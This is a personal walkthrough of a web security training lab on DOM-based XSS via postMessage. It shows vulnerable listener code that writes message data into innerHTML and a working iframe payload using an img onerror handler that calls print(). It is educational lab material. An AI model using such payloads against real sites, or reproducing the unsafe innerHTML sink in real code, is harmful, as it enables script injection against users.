DOM XSS using web messages

This lab demonstrates a simple web message vulnerability. To solve this lab, use the exploit server to post a message to the target site that causes the print() function to be called.

Interesting morsel

[object Object]

The addEventListener object is source code as you would expect

```
<script>
    window.addEventListener('message', function(e) {
        document.getElementById('ads').innerHTML = e.data;
    })
</script>
<section class="container-list-tiles">…</section> flex
```

Fit up the JavaScript payload provided in the academy

```
<iframe src="https://0a8c0095047049dfc0053be400c10012.web-security-academy.net"
onload="this.contentWindow.postMessage('print()','*')">
```

I couldnt get this to pop so ended up having to look at the solution iframe which looks as follows

```
<iframe src="https://0a8c0095047049dfc0053be400c10012.web-security-academy.net/"
onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
```

Paste it into the exploit server provided

Head:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
```

Body:

```
<iframe src="https://0a8c0095047049dfc0053be400c10012.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1
onerror=print()>','*')">
```

Congratulations popped itself

Congratulations, you solved the lab!